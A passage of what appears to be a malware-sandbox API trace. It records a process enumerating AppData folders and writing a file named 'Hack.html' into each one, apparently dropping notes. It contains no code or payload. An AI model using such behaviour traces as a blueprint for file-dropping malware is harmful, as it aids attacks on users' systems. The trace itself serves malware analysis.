[0079.326] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.326] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.326] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.326] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.326] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.326] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.326] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0079.326] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", nBufferLength=0x105, lpBuffer=0x39e7c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support", lpFilePart=0x0) returned 0x5c [0079.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", nBufferLength=0x105, lpBuffer=0x39e79c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\", lpFilePart=0x0) returned 0x5d [0079.327] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a028 [0079.327] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.327] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0079.327] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0079.327] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0079.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0079.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x68 [0079.327] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpFilePart=0x0) returned 0x69 [0079.327] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a028 [0079.328] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.328] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.328] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.329] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.329] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0079.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", nBufferLength=0x105, lpBuffer=0x39e794, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer", lpFilePart=0x0) returned 0x68 [0079.329] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", nBufferLength=0x105, lpBuffer=0x39e768, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\", lpFilePart=0x0) returned 0x69 [0079.329] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a028 [0079.329] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.329] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0079.329] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0079.329] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0079.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0079.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x6c [0079.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpFilePart=0x0) returned 0x6d [0079.330] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a028 [0079.330] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.330] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.330] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0079.330] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0079.330] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0079.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0079.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", nBufferLength=0x105, lpBuffer=0x39e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys", lpFilePart=0x0) returned 0x6c [0079.330] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", nBufferLength=0x105, lpBuffer=0x39e734, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\", lpFilePart=0x0) returned 0x6d [0079.330] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a028 [0079.331] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.331] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0079.331] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0079.331] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0079.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0079.331] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e654, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\Hack.html", lpFilePart=0x0) returned 0x76 [0079.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0079.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\sys\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\sys\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.332] GetFileType (hFile=0x174) returned 0x1 [0079.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0079.332] GetFileType (hFile=0x174) returned 0x1 [0079.332] WriteFile (in: hFile=0x174, lpBuffer=0x28513c4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebc4, lpOverlapped=0x0 | out: lpBuffer=0x28513c4*, lpNumberOfBytesWritten=0x39ebc4*=0xba, lpOverlapped=0x0) returned 1 [0079.333] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e688, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\Hack.html", lpFilePart=0x0) returned 0x72 [0079.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb7c) returned 1 [0079.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\flashplayer\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\flashplayer\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.334] GetFileType (hFile=0x174) returned 0x1 [0079.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb78) returned 1 [0079.334] GetFileType (hFile=0x174) returned 0x1 [0079.334] WriteFile (in: hFile=0x174, lpBuffer=0x2853c94*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebf8, lpOverlapped=0x0 | out: lpBuffer=0x2853c94*, lpNumberOfBytesWritten=0x39ebf8*=0xba, lpOverlapped=0x0) returned 1 [0079.335] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\Hack.html", lpFilePart=0x0) returned 0x66 [0079.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebb0) returned 1 [0079.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\support\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\support\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.335] GetFileType (hFile=0x174) returned 0x1 [0079.335] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebac) returned 1 [0079.335] GetFileType (hFile=0x174) returned 0x1 [0079.335] WriteFile (in: hFile=0x174, lpBuffer=0x2856534*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec2c, lpOverlapped=0x0 | out: lpBuffer=0x2856534*, lpNumberOfBytesWritten=0x39ec2c*=0xba, lpOverlapped=0x0) returned 1 [0079.337] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\Hack.html", lpFilePart=0x0) returned 0x5e [0079.337] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0079.337] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\macromedia.com\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\macromedia.com\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.337] GetFileType (hFile=0x174) returned 0x1 [0079.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0079.337] GetFileType (hFile=0x174) returned 0x1 [0079.337] WriteFile (in: hFile=0x174, lpBuffer=0x2858db4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2858db4*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0079.338] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\Hack.html", lpFilePart=0x0) returned 0x4f [0079.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0079.338] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\flash player\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.340] GetFileType (hFile=0x174) returned 0x1 [0079.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0079.340] GetFileType (hFile=0x174) returned 0x1 [0079.341] WriteFile (in: hFile=0x174, lpBuffer=0x285b5f4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x285b5f4*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0079.342] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Hack.html", lpFilePart=0x0) returned 0x42 [0079.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0079.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\macromedia\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0079.342] GetFileType (hFile=0x174) returned 0x1 [0079.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0079.342] GetFileType (hFile=0x174) returned 0x1 [0079.343] WriteFile (in: hFile=0x174, lpBuffer=0x285de04*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x285de04*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0079.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0079.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x37 [0079.344] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpFilePart=0x0) returned 0x38 [0079.344] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a028 [0079.344] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.345] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.346] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.346] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0079.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0079.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x37 [0079.347] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpFilePart=0x0) returned 0x38 [0079.347] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a028 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.347] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0079.348] FindNextFileW (in: hFindFile=0x59a028, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0079.349] FindClose (in: hFindFile=0x59a028 | out: hFindFile=0x59a028) returned 1 [0079.349] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\AddIns", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | 